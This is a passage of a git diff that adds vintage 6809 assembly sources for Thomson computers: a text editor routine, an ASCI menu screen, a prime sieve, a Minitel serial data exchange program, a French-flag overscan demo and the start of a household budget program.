+       BEQ    AT12
+       CMPB   #20
+       BNE    ERRCOM
+AT12   LDU    #$0200
+       BRA    COMSET
+AT13   CMPA   #$83
+       BNE    AT17
+       CMPB   #1
+       BNE    AT15
+AT14   LDU    #$0280
+       BRA    COMSET
+AT15   CMPB   #9
+       BEQ    AT14
+       CMPB   #16
+       BNE    AT16
+       LDU    #$1080
+       BRA    COMSET
+AT16   CMPB   #18
+       BEQ    AT8
+       CMPB   #20
+       BNE    ERRCOM
+       LDU    #$0180
+       BRA    COMSET
+AT17   CMPA   #$86
+       BNE    ERRCOM
+       CMPB   #1
+       BEQ    AT8
+       CMPB   #2
+       BEQ    AT8
+       BRA    ERRCOM
+AT18   DEC    FLGCOM
+       TST    TYPPAR
+       BEQ    PARA9
+       BMI    PARAF
+PARA3  CMPB   #3
+       BHI    ERRPAR
+PARA9  CMPB   #9
+       BHI    ERRPAR
+PARAF  CMPB   #15
+       BHI    ERRPAR
+       LDA    CPAR
+       BRA    PARA
+GRAPH  LDA    CGRA
+       CMPB   #31
+       BLS    PARA
+ERRPAR LDA    CERR
+       LDU    #0
+PARA   CMPB   #10
+       BLO    PARAS
+       ADDB   #7
+PARAS  ADDB   #16
+       BRA    CARAF
+ERRCOM LDA    CERR
+       LDU    #0
+       BRA    CARAV
+COMSET LDA    CCOM
+CARAV  ADDB   #32
+       BRA    CARAS
+CARA   SUBB   #32
+       TST    FLGCOM
+       BNE    ERRCOM
+       LDA    CCAR
+       LDU    #0
+CARAS  STU    FLGCOM
+CARAF  LDU    PTRCOU
+       STA    ,U+
+       STU    PTRCOU
+       LDA    #16
+       MUL
+       ADDD   GECAR
+       TFR    D,U
+       PULU   A,B
+       STA    -$78,Y
+       STB    -$50,Y
+       PULU   A,B
+       STA    -$28,Y
+       STB    ,Y
+       PULU   A,B
+       STA    $28,Y
+       STB    $50,Y
+       PULU   A,B
+       STA    $78,Y
+       LEAY   $118,Y
+       STB    -$78,Y
+       PULU   A,B
+       STA    -$50,Y
+       STB    -$28,Y
+       PULU   A,B
+       STA    ,Y
+       STB    $28,Y
+       PULU   A,B
+       STA    $50,Y
+       STB    $78,Y
+       LEAY   -$117,Y
+       DEC    COMPT
+       BNE    AT19
+       DEC    COMPTL
+       LBEQ   AFFCOU
+       LDA    #40
+       STA    COMPT
+       LEAY   680,Y
+AT19   CMPX   FINTXT
+       LBLS   AT3
+       LDU    PTRCOU
+AT20   LDD    CRIEN
+       STA    ,U+
+       LDD    #$FF00
+       STB    -$78,Y
+       STB    -$50,Y
+       STB    -$28,Y
+       STA    ,Y
+       STA    $28,Y
+       STB    $50,Y
+       STB    $78,Y
+       LEAY   $118,Y
+       STB    -$78,Y
+       STB    -$50,Y
+       STA    -$28,Y
+       STA    ,Y
+       STB    $28,Y
+       STB    $50,Y
+       STB    $78,Y
+       LEAY   -$117,Y
+       DEC    COMPT
+       BNE    AT20
+       DEC    COMPTL
+       BEQ    AFFCOU
+       LDA    #40
+       STA    COMPT
+       LEAY   680,Y
+       BRA    AT20
+AFFCOU LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDU    #MEMCOU
+       LDX    #$4055
+       LDA    #11
+       STA    COMPTL
+AC0    LDA    #8
+       STA    COMPT
+AC1    PULU   A,B,Y,DP
+       EXG    U,X
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   45,U
+       PSHU   A,B,Y,DP
+       LEAU   -590,U
+       EXG    U,X
+       DEC    COMPT
+       BNE    AC1
+       LEAX   680,X
+       DEC    COMPTL
+       BNE    AC0
+       LBRA   GETC
+CLIGNO COM    FLGCLI
+       LDY    #$4EF0
+       TST    FLGMOD
+       LBMI   CLIPLN
+       LDA    -$78,Y
+       ADDA   #128
+       STA    -$78,Y
+       LDA    -$50,Y
+       ADDA   #128
+       STA    -$50,Y
+       LDA    -$28,Y
+       ADDA   #128
+       STA    -$28,Y
+       LDA    ,Y
+       ADDA   #128
+       STA    ,Y
+       LDA    $28,Y
+       ADDA   #128
+       STA    $28,Y
+       LDA    $50,Y
+       ADDA   #128
+       STA    $50,Y
+       LDA    $78,Y
+       ADDA   #128
+       STA    $78,Y
+       LDA    $A0,Y
+       ADDA   #128
+       STA    $A0,Y
+       LDA    $C8,Y
+       ADDA   #128
+       STA    $C8,Y
+       LDA    $F0,Y
+       ADDA   #128
+       STA    $F0,Y
+       LDA    $118,Y
+       ADDA   #128
+       STA    $118,Y
+       LDA    $140,Y
+       ADDA   #128
+       STA    $140,Y
+       LDA    $168,Y
+       ADDA   #128
+       STA    $168,Y
+       LDA    $190,Y
+       ADDA   #128
+       STA    $190,Y
+       LDA    $1B8,Y
+       ADDA   #128
+       STA    $1B8,Y
+       LDA    $1E0,Y
+       ADDA   #128
+       STA    $1E0,Y
+       RTS
+CLIPLN COM    -$78,Y
+       COM    -$50,Y
+       COM    -$28,Y
+       COM    ,Y
+       COM    $28,Y
+       COM    $50,Y
+       COM    $78,Y
+       COM    $A0,Y
+       COM    $C8,Y
+       COM    $F0,Y
+       COM    $118,Y
+       COM    $140,Y
+       COM    $168,Y
+       COM    $190,Y
+       COM    $1B8,Y
+       COM    $1E0,Y
+       RTS
+GETC   CLR    FLGCLI
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+GC0    LBSR   CLIGNO
+       LDX    #$2000
+GC1    ANDCC  #$FE
+GC2    JSR    $E809
+       BCS    GC3
+       LEAX   -1,X
+       BNE    GC2
+       BRA    GC0
+GC3    JSR    $E806
+       TSTB
+       BEQ    GC1
+       TST    FLGCLI
+       BEQ    GC4
+       LBSR   CLIGNO
+GC4    CMPB   #24     )
+       BNE    GC4BIS  )à supprimer
+K      NOP            )
+GC4BIS CMPB   #1      Mode ACCENT
+       BEQ    ACC
+       CMPB   #22
+       BNE    GC5
+ACC    LDD    MACC
+       BRA    MODE
+GC5    CMPB   #2      Mode CARACT
+       BEQ    SMCAR
+       CMPB   #3
+       BNE    GC6
+SMCAR  LDD    MCAR
+       BRA    MODE
+GC6    CMPB   #4      Mode DIFFUSION
+       BNE    GC7
+       JMP    GC7     Saut à DIFF.
+GC7    CMPB   #5      Mode ESSAI
+       BNE    GC8
+       JMP    GC8     Saut à ESSAI
+GC8    CMPB   #6      Mode FONCTION
+       BNE    GC9
+       LDD    MCOM
+MODE   STB    FLGMOD
+       LDB    #$1B
+       JSR    $E803
+       TFR    A,B
+       JSR    $E803
+       TST    FLGACG
+       BEQ    GOGET0
+       CLR    FLGACG
+       LBRA   DELETE
+GOGET0 LBRA   GETC
+GC9    CMPB   #7      Mode GRAPHISMES
+       BNE    GC10
+       LDD    MGRA
+       BRA    MODE
+GC10   CMPB   #8
+       BNE    GC12
+       LDX    PTEXT
+       CMPX   DEBTXT
+       BLS    GOGET0
+       LEAX   -1,X
+       STX    PTEXT
+GC11   LBRA   AFFICH
+GC12   CMPB   #9
+       BNE    GC13
+       LDX    PTEXT
+       CMPX   FINTXT
+       BHI    GOGET0
+       LEAX   1,X
+       STX    PTEXT
+       BRA    GC11
+GC13   CMPB   #10
+       BNE    GC14
+       LDX    PTEXT
+       LEAX   40,X
+       CMPX   FINTXT
+       BHI    GOGET0
+       STX    PTEXT
+       BRA    GC11
+GC14   CMPB   #11
+       BNE    GC15
+       LDX    PTEXT
+       LEAX   -40,X
+       CMPX   DEBTXT
+       BLO    GOGET0
+       STX    PTEXT
+       BRA    GC11
+GC15   CMPB   #13     Mémorisation
+       BNE    GC16    pour tiroir ?
+       JMP    GC16
+GC16   CMPB   #16     Mode PARAMETRE
+       BNE    GC17
+       LDD    MPAR
+       LBRA   MODE
+GC17   CMPB   #29     DELETE
+       LBEQ   DELETE
+       LDA    FLGMOD
+       BNE    GC20
+       CMPB   #32
+       BLO    GC18
+       CMPB   #128
+       BLO    GC19
+GC18   LBRA   GETC
+GC19   LBRA   INSERT
+GC20   CMPB   #64
+       BLO    GC205
+       ANDB   #$DF
+GC205  CMPA   #$96
+       LBNE   GCOM
+       LDX    PTEXT
+       LDA    ,X
+       CMPA   #99
+       BNE    GC21
+       CMPB   #67
+       BNE    GC30
+       LDA    #128
+       STA    ,X
+       BRA    AFFACC
+GC21   CMPA   #97
+       BEQ    LETA
+       CMPA   #129
+       BLO    GC26
+       CMPA   #132
+       BHI    GC26
+LETA   CMPB   #65
+       BNE    GC22
+       LDA    #129
+       BRA    AFFACC
+GC22   CMPB   #67
+       BNE    GC23
+       LDA    #130
+       BRA    AFFACC
+GC23   CMPB   #84
+       BNE    GC24
+       LDA    #131
+       BRA    AFFACC
+GC24   CMPB   #71
+       BNE    GC30
+       LDA    #132
+       BRA    AFFACC
+GC26   CMPA   #101
+       BEQ    LETE
+       CMPA   #133
+       BLO    GC31
+       CMPA   #136
+       BHI    GC31
+LETE   CMPB   #65
+       BNE    GC27
+       LDA    #133
+       BRA    AFFACC
+GC27   CMPB   #67
+       BNE    GC28
+       LDA    #134
+       BRA    AFFACC
+GC28   CMPB   #84
+       BNE    GC29
+       LDA    #135
+       BRA    AFFACC
+GC29   CMPB   #71
+       BNE    GC30
+       LDA    #136
+AFFACC STA    ,X
+       LBRA   AFFICH
+GC30   LBRA   GETC
+GC31   CMPA   #105
+       BEQ    LETI
+       CMPA   #137
+       BLO    GC33
+       CMPA   #138
+       BHI    GC33
+LETI   CMPB   #67
+       BNE    GC32
+       LDA    #137
+       BRA    AFFACC
+GC32   CMPB   #84
+       BNE    GC30
+       LDA    #138
+       BRA    AFFACC
+GC33   CMPA   #111
+       BEQ    LETO
+       CMPA   #139
+       BLO    GC35
+       CMPA   #140
+       BHI    GC35
+LETO   CMPB   #67
+       BNE    GC34
+       LDA    #139
+       BRA    AFFACC
+GC34   CMPB   #84
+       BNE    GC30
+       LDA    #140
+       BRA    AFFACC
+GC35   CMPA   #117
+       BEQ    LETU
+       CMPA   #141
+       BLO    GC37
+       CMPA   #143
+       BHI    GC37
+LETU   CMPB   #67
+       BNE    GC36
+       LDA    #141
+       BRA    AFFACC
+GC36   CMPB   #84
+       BNE    GC37
+       LDA    #142
+       BRA    AFFACC
+GC37   CMPB   #71
+       BNE    GC30
+       LDA    #143
+       BRA    AFFACC
+GCOM   CMPA   #31
+       BNE    GPAR
+       SUBB   #64
+       BLE    GOGET1
+       CMPB   #22
+       BHI    GOGET1
+       CMPB   #8
+       BEQ    GOGET1
+       CMPB   #10
+       BEQ    GOGET1
+       CMPB   #17
+       BEQ    GOGET1
+       CMPB   #19
+       BEQ    GOGET1
+       CMPB   #21
+       BEQ    GOGET1
+       CMPB   #12
+       BLO    GINS
+       CMPB   #14
+       BLS    GOGET1
+GINS   LBRA   INSERT
+GPAR   CMPA   #30
+       BNE    GGRA
+       SUBB   #48
+       BMI    GOGET1
+       CMPB   #9
+       BLS    GINS
+       SUBB   #7
+       CMPB   #10
+       BLO    GOGET1
+       CMPB   #15
+       BLS    GINS
+GOGET1 LBRA   GETC
+GGRA   CMPA   #29
+       BNE    GOGET1
+       SUBB   #48
+       BMI    GOGET1
+       CMPB   #9
+       BHI    GOGET1
+       COM    FLGACG
+       BEQ    GGRA2
+       STB    PILEB
+       ADDB   #48
+       BRA    GINS
+GGRA2  LDX    PTEXT
+       PSHS   B
+       LDA    #10
+       LDB    PILEB
+       MUL
+       ADDB   ,S+
+       CMPB   PTRGRA
+       BLS    GGRA3
+       LEAX   -1,X
+       STX    PTEXT
+       LBRA   DELETE
+GGRA3  ADDB   #$90
+       STB    ,-X
+       LBRA   AFFICH
+
+
+
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/unknown/MENU.ASM b/code/3rdparty/sources3-lambinet/unknown/MENU.ASM
new file mode 100644
index 0000000..1d141c0
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/unknown/MENU.ASM
@@ -0,0 +1,292 @@
+
+
+*****  ENTETE  *****
+
+*****  EQUATES  ****
+
+T      EQU    $B800
+
+COMPT  EQU    T
+COMPTL EQU    T+1
+COMPT1 EQU    T+2
+COMPT2 EQU    T+3
+GECAR  EQU    T+4
+FLACLI EQU    T+6
+
+*****  PROGRAMME  **
+
+       ORG    $C000
+G      LDX    #$9E00
+       STX    GECAR
+       LDX    #PARAM
+       LDA    ,X+
+PUTC   LDB    ,X+
+       JSR    $E803
+       DECA
+       BNE    PUTC
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       PSHS   X
+       CLR    FLACLI
+       LDX    #$4000
+       LDB    #80
+       BSR    GRAND
+       LEAX   -1,X
+       BSR    P0
+       LEAX   159,X
+       LDD    #$38FF
+       BSR    P1
+       LEAX   2079,X
+       BSR    P0
+       LEAX   -1,X
+       LDB    #79
+       BSR    GRAND
+       LDD    #$08FF
+       BSR    P1
+       LDB    #49
+       LEAX   -1,X
+       BSR    GRAND
+       BRA    AT0
+
+GRAND  BSR    ADRCAR
+OCT    LDA    ,Y+
+       LDB    #4
+       STB    COMPT
+NOCT   CLRB
+       ROLA
+       BCC    PB1
+       ORB    #$F0
+PB1    ROLA
+       BCC    PB0
+       ORB    #$F
+PB0    STB    $78,X
+       STB    $50,X
+       STB    $28,X
+       STB    ,X+
+       DEC    COMPT
+       BNE    NOCT
+       LEAX   156,X
+       DEC    COMPTL
+       BNE    OCT
+       LEAX   -476,X
+       RTS
+
+P0     LDD    #$080F
+       BSR    P1
+       LEAX   2079,X
+       LDD    #$08F0
+       BRA    P1
+P1     STB    ,X
+       LEAX   40,X
+       DECA
+       BNE    P1
+       LEAX   -2398,X
+       RTS
+
+ADRCAR LDA    #16
+       STA    COMPTL
+       MUL
+       ADDD   GECAR
+       TFR    D,Y
+       RTS
+
+AT0    LDY    #$403A
+       LDD    #$14EB
+       LBSR   CADRE
+       PULS   U
+AT3    LDA    ,U+
+       BEQ    AT5
+       STA    COMPT
+       LDX    ,U++
+AT4    LDB    ,U+
+       BSR    PETIT
+       DEC    COMPT
+       BNE    AT4
+       BRA    AT3
+PETIT  BSR    ADRCAR
+MO1    LDB    ,Y+
+       STB    ,X
+       LEAX   40,X
+       DEC    COMPTL
+       BNE    MO1
+       LEAX   -639,X
+       RTS
+AT5    LDA    ,U+
+       BEQ    AT9
+       STA    COMPT
+       LDX    ,U++
+AT6    CLR    FLACLI
+       LDB    ,U+
+       CMPB   #73
+       BNE    AT65
+       COM    FLACLI
+AT65   CMPB   #46
+       BEQ    AT7
+MOYEN  LBSR   ADRCAR
+M0     LDA    ,Y+
+       STA    COMPT1
+       LDA    #8
+       STA    COMPT2
+       CLRA
+       CLRB
+M1     ROL    COMPT1
+       BCC    M2
+       ROLB
+       ORA    #$80
+       ROLA
+       ROLB
+       ROLA
+       BRA    M3
+M2     LSLB
+       ROLA
+       LSLB
+       ROLA
+M3     DEC    COMPT2
+       BNE    M1
+       TST    FLACLI
+       BNE    M4
+       ANDB   #$FE
+       STD    ,X
+       BRA    M5
+M4     RORA
+       RORB
+       RORA
+       RORB
+       RORA
+       RORB
+       ANDB   #$FC
+       STB    ,X
+M5     LEAX   40,X
+       DEC    COMPTL
+       BNE    M0
+       TST    FLACLI
+       BNE    M6
+       LEAX   -638,X
+       BRA    AT8
+M6     LEAX   -639,X
+       BRA    AT8
+AT7    LBSR   PETIT
+AT8    DEC    COMPT
+       BNE    AT6
+       BRA    AT5
+
+AT9    LDY    #$4FA4
+       LDD    #$1EE1
+       BSR    CADRE
+       BRA    AT10
+
+
+CADRE  STB    COMPT
+       LDB    #$3F
+       STB    -40,Y
+       STB    $C30,Y
+       LDB    #$7F
+       STB    $C08,Y
+       STB    ,Y+
+       LDB    #$FF
+CA0    STB    $C30,Y
+       STB    $C08,Y
+       STB    -40,Y
+       STB    ,Y+
+       DECA
+       BNE    CA0
+       LDD    #$FCFE
+       STA    -40,Y
+       STA    $C30,Y
+       STB    $C08,Y
+       STB    ,Y
+       LDX    #76
+       LDB    COMPT
+CA1    LEAY   40,Y
+       LDA    #$C0
+       STA    B,Y
+       LDA    #3
+       STA    ,Y
+       LEAX   -1,X
+       BNE    CA1
+       RTS
+
+AT10   CLR    FLACLI
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+CM1    LDU    #$5BFC
+       LDA    #$F6
+       COM    FLACLI
+       BNE    CM2
+       LDA    #$CB
+CM2    TFR    A,B
+       TFR    D,X
+       TFR    D,Y
+       LDA    #80
+CM3    LEAU   -8,U
+       LDB    #8
+CM4    PSHU   X,Y
+       DECB
+       BNE    CM4
+       DECA
+       BNE    CM3
+       TST    FLACLI
+       BNE    CM5
+       LDA    #$CE
+       STA    ,U
+       STA    31,U
+       STA    40,U
+       STA    71,U
+       LEAU   $C30,U
+       STA    ,U
+       STA    31,U
+       STA    40,U
+       STA    71,U
+CM5    LDX    #$2000
+       ANDCC  #$FE
+CM6    LEAX   -1,X
+       BEQ    CM1
+       JSR    $E809
+       BCC    CM6
+       JSR    $E806
+       TSTB
+       BEQ    CM6
+       CMPB   #49
+       LBEQ   EDIT    DIFFUSION
+       CMPB   #51
+       LBEQ   EDIT    GRAPHISME
+       CMPB   #50
+       BNE    CM6
+EDIT   NOP
+
+FINAL  LDB    #$1B
+       JSR    $E803
+       LDB    #$60
+       JSR    $E803
+K      NOP
+PARAM  FCB    13,27,68,27,86,27,102,31
+       FCB    18,20,31,32,32,12
+       FCB    20,$41,$7B
+       FCC    "Association pour les"
+       FCB    18,$45,$3C
+       FCC    "Services  Connexes"
+       FCB    16,$48,$FD,132
+       FCC    " l'Informatique"
+       FCB    12,$4A,$03
+       FCC    "Version 1.02"
+       FCB    40,$4C,$80
+       FCC    "Publicit"
+       FCB    133
+       FCC    " et Information par "
+       FCC    "Ordinateur."
+       FCB    40,$5C,$C0
+       FCC    "ASCI Association loi 190"
+       FCC    "1 Copyright 1989"
+       FCB    0,20,$50,$E6
+       FCC    "DIFFUSION..........1"
+       FCB    22,$54,$A6
+       FCC    "EDITION..............2"
+       FCB    19,$58,$66
+       FCC    "GRAPHISME.........3"
+       FCB    0
+
+
+
+       END
diff --git a/code/3rdparty/sources4-divers/ASCINEWS/CRIBLE.ASM b/code/3rdparty/sources4-divers/ASCINEWS/CRIBLE.ASM
new file mode 100644
index 0000000..c70a64e
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ASCINEWS/CRIBLE.ASM
@@ -0,0 +1,126 @@
+*NOMBRES PREMIERS
+*ASCINEWS 4 juin 1993 / ASCI (c)
+*par Michel SAINT-BRIANT
+
+LIMITE EQU    28      jusqu'a 1 000 000
+*LIMITE EQU    60      TO8sans ext.256Ko
+*LIMITE EQU    124     TO8+256ko ou TO9+
+
+MAXI   EQU    1024    jusqu'a 1 000 000
+*MAXI  EQU    1846    TO8sans ext.256ko
+*MAXI   EQU    2757    TO8+256ko ou TO9+
+
+       ORG    $8000
+
+*remise à zero sur toutes les banks
+
+       PSHS   A,B,DP,CC,X,Y,U
+G      ORCC   #$50
+       LDU    #0
+       LDD    #$0307
+       STA    $E7E5
+       STB    $60CE
+       LDA    #LIMITE
+       LSRA
+       LSRA           division par 4
+       SUBA   #3      =13 banks pour TO8
+NEWBNK LDX    #$A000
+NULL   STU    ,X++
+       CMPX   #$E000
+       BLO    NULL
+       INC    $E7E5
+       DECA
+       BNE    NEWBNK
+
+*algorithme du crible d'Eratosthene
+
+       LDD    #$0301
+       STA    $E7E5
+       STB    >$A000  (1 pas premier)
+       LDU    #RETENU+1
+       LDD    #$0001
+       STD    POINTR+1
+
+*nombre suivant
+
+NEWNBR LDD    #$0C03
+       STA    RETENU
+       STB    $E7E5
+       LDD    POINTR+1
+       ADDD   #2      impair de 2 en 2
+       STD    POINTR+1
+       CMPD   #MAXI   est-ce le dernier?
+       BHI    FIN
+       ADDD   POINTR+1
+       STD    AJOUTE+2 multiples impairs
+
+*le nombre est-il premier?
+
+       LSRA
+       RORB
+       LSRA
+       RORB
+       PSHS   B
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       ADDA   #$A0
+       TFR    D,Y
+       PULS   B
+       LDA    #1
+       ANDB   #7
+       BEQ    ZERO0
+DECAL0 LSLA
+       DECB
+       BNE    DECAL0
+ZERO0  ANDA   ,Y
+       BNE    NEWNBR  sinon autre nombre
+
+*si oui on marque tous ses multiples
+
+POINTR LDX    #0
+AJOUTE LEAX   >$FFFF,X
+       CMPX   AJOUTE+2
+       BHS    PASRET  si pas debordement
+       INC    RETENU
+       LDA    RETENU
+       CMPA   #LIMITE
+       BHS    NEWNBR
+       LSRA
+       LSRA
+       STA    $E7E5
+PASRET LDA    RETENU
+       STA    ,U
+       TFR    X,D
+       LSR    ,U
+       RORA
+       RORB
+       PSHS   B
+       LSR    ,U
+       RORA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       ADDA   #$A0
+       TFR    D,Y
+       PULS   B
+       LDA    #1
+       ANDB   #7
+       BEQ    ZERO1
+DECAL1 LSLA
+       DECB
+       BNE    DECAL1
+ZERO1  ORA    ,Y
+       STA    ,Y
+       BRA    AJOUTE
+FIN    PULS   A,B,CC,DP,X,Y,U,PC
+
+
+RETENU FCB    0
+
+       END
diff --git a/code/3rdparty/sources4-divers/ASCINEWS/DUPLEX.ASM b/code/3rdparty/sources4-divers/ASCINEWS/DUPLEX.ASM
new file mode 100644
index 0000000..fc79e93
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ASCINEWS/DUPLEX.ASM
@@ -0,0 +1,196 @@
+******************************
+*                            *
+* DUPLEX : Système d'échange *
+*           de données entre *
+*            TO8, TO8D, TO9+ *
+*             et Minitel, en *
+*              un seul sens *
+* Michel        à la fois. *
+* SAINT-BRIANT   ASCI (c) *
+*                        *  version
+*************************  du 15/7/93
+
+
+* Les accents sont transcodés dans les
+* deux sens.
+
+
+       ORG    $9000
+
+
+* EMISSION DE DONNEES A 1200 BAUDS
+* DONNEES SUR 7 bits, 1 bit start
+* 1 bit stop, parité paire
+* compatible MINITEL
+* les données sont inscrites sur la
+* bank courante depuis $A000 et ter-
+* minées par un code supérieur à $7F
+* ($FF ou 255 par exemple)
+
+EMIT   PSHS   U,Y,X,DP,B,A,CC
+       ORCC   #$50
+       LDD    #$E7FD
+       TFR    A,DP
+       STB    <$C2
+       LDB    <$C5
+       PSHS   B,A
+       LDU    #$A000
+       CLRB
+EMIT0  LDA    #$07
+       STA    ,S
+       LDX    #$61
+       STX    <$C6
+       LDA    #$A2
+       STA    <$C5
+       CLRA
+       BSR    ROUT2
+EMIT1  LSRB
+       BCS    EMIT2
+       BSR    ROUT2
+       BRA    EMIT3
+EMIT2  BSR    ROUT1
+       INCA
+EMIT3  DEC    ,S
+       BNE    EMIT1
+       BITA   #$01
+       BNE    EMIT4
+       BSR    ROUT2
+       BRA    EMIT5
+EMIT4  BSR    ROUT1
+EMIT5  LDA    #10
+EMIT6  DECA
+       BNE    EMIT6
+       BSR    ROUT1
+       LDB    ,U+
+       BMI    FINEMI
+       CMPB   #$16
+       BNE    EMIT0
+       LDB    #$19
+       BRA    EMIT0
+FINEMI LDA    <$C5
+       ORA    #$80
+       STA    <$C5
+       LDX    #$0033
+EMIT7  LEAX   -1,X
+       BNE    EMIT7
+       PULS   A,B
+       STB    <$C5
+       LDD    #$1800
+       STD    <$C6
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+
+ROUT1  PSHS   X,A
+       LDX    #$0061
+TEMPO1 LEAX   -1,X
+       BNE    TEMPO1
+       LDA    <$C5
+       ORA    #$80
+       BRA    FINROU
+ROUT2  PSHS   X,A
+       LDX    #$0061
+TEMPO2 LEAX   -1,X
+       BNE    TEMPO2
+       LDA    <$C5
+       ANDA   #$7F
+       BRA    FINROU
+FINROU STA    <$C5
+       PULS   A,X,PC
+
+
+
+* RECEPTION DE DONNEES A 1200 BAUDS
+* DONNEES SUR 7 bits, 1 bit start
+* 1 bit stop, parité paire
+* compatible MINITEL
+* les données sont inscrites sur la
+* bank courante depuis $A000 tant que
+* la touche 'Envoi' n'est pas pressée.
+* -> code 0 pour la fin des données.
+
+
+RECEIV PSHS   U,Y,X,DP,B,A,CC
+       LDU    #$A000
+       LDA    #$E7
+       PSHS   A
+       TFR    A,DP
+RECE1  LDA    #$08
+       STA    ,S
+       LDA    <$CA
+       ANDA   #$C4
+       STA    <$CA
+       LDA    <$C8
+       LDY    #$0000
+       LDB    #$1E
+TEMPO3 LEAY   -1,Y
+       BNE    RECE2
+       DECB
+       BEQ    RECE10
+       LDY    #$0000
+RECE2  LDA    <$CA
+       BITA   #$40
+       BEQ    TEMPO3
+       ANDCC  #$FE
+       LDX    #$0013
+RECE4  LEAX   -1,X
+       BNE    RECE4
+RECE5  BCC    RECE7
+       BSR    RECE12
+       BCS    RECE6
+       RORB
+       ANDCC  #$FE
+       BRA    RECE9
+RECE6  RORB
+       ORCC   #$01
+       BRA    RECE9
+RECE7  BSR    RECE14
+       BCC    RECE8
+       RORB
+       ORCC   #$01
+       BRA    RECE9
+RECE8  RORB
+       ANDCC  #$FE
+       BRA    RECE9
+RECE9  DEC    ,S
+       BNE    RECE5
+       ANDB   #$7F
+       BRA    RECE11
+RECE10 LDB    #$FF
+RECE11 LDA    -1,U
+       CMPD   #$1341
+       BEQ    FINREC
+       CMPB   #$19
+       BNE    ECRIRE
+       LDB    #$16
+ECRIRE STB    ,U+
+       BRA    RECE1
+FINREC CLR    -1,U
+       PULS   A
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+RECE12 LDA    <$CA
+       ANDA   #$C4
+       STA    <$CA
+       LDA    <$C8
+       BSR    TEMPO4
+       LDA    <$CA
+       ANDA   #$40
+       BNE    RECE15
+RECE13 ORCC   #$01
+       RTS
+RECE14 LDA    <$CA
+       ORA    #$10
+       STA    <$CA
+       LDA    <$C8
+       BSR    TEMPO4
+       LDA    <$CA
+       ANDA   #$40
+       BNE    RECE13
+RECE15 ANDCC  #$FE
+       RTS
+TEMPO4 LDX    #$005E
+TEMPO5 LEAX   -1,X
+       BNE    TEMPO5
+       RTS
+
+       END
diff --git a/code/3rdparty/sources4-divers/ASCINEWS/PATRIOTE.ASM b/code/3rdparty/sources4-divers/ASCINEWS/PATRIOTE.ASM
new file mode 100644
index 0000000..7fa4d47
--- /dev/null
+++ b/code/3rdparty/sources4-divers/ASCINEWS/PATRIOTE.ASM
@@ -0,0 +1,70 @@
+*********************************
+*          *                    *
+* PATRIOTE * Affichage OVERSCAN *
+*          *                    *
+*********************************
+*                               *
+* AFFICHAGE DU DRAPEAU FRANCAIS *
+*                               *
+*********************************
+*                               *
+* Pour ASCINEWS 3 / ASSEMBLEUR6 *
+* Michel SAINT-BRIANT / ASCI(C) *
+*                               *
+*********************************
+
+
+       ORG    $8000
+
+       PSHS   U,Y,X,DP,B,A,CC
+G      ORCC   #$50
+       LDU    #$E7DD
+       LDY    #$E7E7
+ATTRA0 LDA    ,Y
+       BPL    ATTRA0
+ATTRA1 LDA    ,Y
+       BMI    ATTRA1
+       LDX    #624
+       LDY    #750    =750/25=30 s
+       LDB    #4
+       STB    ,U
+       BRA    DEBUT
+
+BLEU   LDB    #4      2 us     ) ROUGE
+       STB    ,U      4 us  ___)__6 us
+       NOP            )        )
+       NOP            )        )
+       NOP            )        ) BLEU
+       NOP            ) 7x2 us )
+DEBUT  NOP            )        )
+       NOP            )        )
+       NOP            )        ) 20 us
+BLANC  LDB    #7      2 us     )
+       STB    ,U      4 us  ___)_______
+       NOP            )        )
+       NOP            )        )
+       NOP            )        ) BLANC
+       NOP            ) 7x2 us )
+       NOP            )        )
+       NOP            )        )
+       NOP            )        ) 20 us
+ROUGE  LDB    #1      2 us     )
+       STB    ,U      4 us  ___)_______
+       NOP            )        )
+       NOP            )        ) ROUGE
+       NOP            ) 5x2 us )
+       NOP            )        ) 18 us
+       NOP            )        )   +
+       LEAX   -1,X    5 us     )  6 us
+       BNE    BLEU    3 us  ___)_
+       LDB    #4      2 us     )  6 us
+       STB    ,U      4 us  ___)_
+       LDX    #624    3 us       )
+       LEAY   -1,Y    5 us       ) 14 us
+       LBNE   BLANC   6 us ______)
+
+FIN    CLR    ,U
+       ANDCC  #$AF
+K      PULS   CC,A,B,DP,X,Y,U,PC
+
+       END
diff --git a/code/3rdparty/sources4-divers/BUDGET.ASM b/code/3rdparty/sources4-divers/BUDGET.ASM
new file mode 100644
index 0000000..500c2b4
--- /dev/null
+++ b/code/3rdparty/sources4-divers/BUDGET.ASM
@@ -0,0 +1,554 @@
+****************************************
+*                                      *
+* Modification Budget famillial        *
+*                                      *
+*   - arret page accueil par clic      *
+*   - arret par STOP au menu           *
+*   - archivage disquettes au lieu     *
+*     cassette                         *
+*                                      *
+****************************************
+
+PUTC   EQU    $E803
+GETC   EQU    $E806
+LPIN   EQU    $E81B
+MENU   EQU    $E82D
+COMSLO EQU    $EC03
+EXTRA  EQU    $EC0C
+
+FILNAM EQU    $624F
+
+DOSBUF EQU    $6300
+DOSFAT EQU    $6300+256
+DOSFCB EQU    $6300+256+(5*166)
+ZONE   EQU    $6300+256+(5*166)+283
+
+MESS   EQU    $B96
+
+MENUB  EQU    $6B
+
